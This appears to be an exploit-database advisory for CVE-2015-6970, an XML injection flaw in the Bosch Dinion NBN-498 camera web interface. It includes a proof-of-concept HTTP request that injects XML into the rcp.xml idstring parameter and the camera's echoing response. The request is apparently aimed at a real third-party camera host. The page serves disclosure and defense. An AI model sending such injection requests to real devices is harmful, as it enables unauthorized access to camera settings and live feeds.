Bosch Security Systems - XML Injection - Dinion NBN-498 Web Interface

vendor:

Dinion NBN-498

by:

neom22

9,8

CVSS

CRITICAL

XML Injection

CWE

Product Name: Dinion NBN-498

Affected Version From: Hardware Firmware 4.54.0026

Affected Version To: Web Interface version is unknown

Patch Exists: NO

Related CWE: CVE-2015-6970

CPE: h:bosch:dinion_nbn-498

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Windows 8.1 - Firefox 40.0.3

2015

Bosch Security Systems – XML Injection – Dinion NBN-498 Web Interface

The Dinion NBN-498 Web Interface is vulnerable to XML Injection. An attacker can inject malicious XML code into the web interface, which can be used to gain access to the camera's settings and live feed. The attacker can also modify the camera's settings, such as the resolution, frame rate, and compression.

Mitigation:

The vendor has not released a patch for this vulnerability. As a workaround, users should restrict access to the web interface and ensure that only trusted users have access.

Source

Exploit-DB raw data:

# Exploit Title: Bosch Security Systems - XML Injection - Dinion NBN-498 Web Interface

# Date: 01/09/2015

# Exploit Author: neom22

# Vendor Homepage: http://us.boschsecurity.com

# Data Sheet: http://resource.boschsecurity.us/documents/Data_sheet_enUS_9007201286798987.pdf

# Version: Hardware Firmware 4.54.0026 - Web Interface version is unknown

# Tested on: Windows 8.1 - Firefox 40.0.3

# CVE : CVE-2015-6970 (To be published)


#################################################
#                                                                                                        #
#    Discovered by neom22                                                           #
#    23 - 09 - 2015                                                                           #
#                                                                                                        #
#################################################
#
#
Bosch Security Systems - Dinion NBN-498 - Web Interface (Live Feed and Administration)
#
#
Vulnerability Discovery: 10/09/2015
Vendor Contact: 17/09/2015 (no answer)
Published: 24/09/2015
#
#

Description: 
-----------------------------------------------------------------
The Dinion2x IP Day/Night camera is a high-performance, smart
surveillance color camera. It incorporates 20-bit digital signal
processing and a wide dynamic range sensor for outstanding
picture performance under all lighting conditons.
The camera uses H.264 compression technology to give clear
images while reducing bandwidth and storage requirements. It
is also ONVIF compliant to improve compatibility during system
integration.
The camera operates as a network video server and transmits
video and control signals over data networks, such as Ethernet
LANs and the Internet.
-----------------------------------------------------------------

Useful Links:

Data Sheet: http://resource.boschsecurity.us/documents/Data_sheet_enUS_9007201286798987.pdf
Documentation: http://resource.boschsecurity.us/documents/Installation_Manual_enUS_2032074379.pdf
Product: 

http://us.boschsecurity.com/en/us_product/products/video/ipcameras/sdfixedcameras/nbn498dinion2xdaynightipc/nbn498

dinion2xdaynightipc_608
-----------------------------------------------------------------

XML Parameter Injection POC

_-Request-_

GET /rcp.xml?idstring=<string>injection</string> HTTP/1.1
Host: postoipiranga.dyndns-ip.com:10004
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:40.0) Gecko/20100101 Firefox/40.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: HcsoB=60cd4a687de94857
Connection: keep-alive

_-Response-_

HTTP/1.1 200 OK
Server: VCS-VideoJet-Webserver
Connection: keep-alive
Content-Type: text/xml
Accept-Ranges: bytes
Content-Length: 359
Expires: 0
Cache-Control: no-cache
Set-Cookie: HcsoB=60cd4a687de94857; path=/;

<rcp>
    <command>
        <hex>0x0000</hex>
        <dec>       0</dec>
    </command>
    <type>T_DWORD</type>
    <direction>READ</direction>
    <num>0</num>
    <idstring><string>injection</string></idstring>
    <payload></payload>
<cltid>0x478e</cltid><sessionid>0x00000000</sessionid><auth>1</auth><protocol>TCP</protocol>    <result>
            <err>0x40</err>
    </result>
</rcp>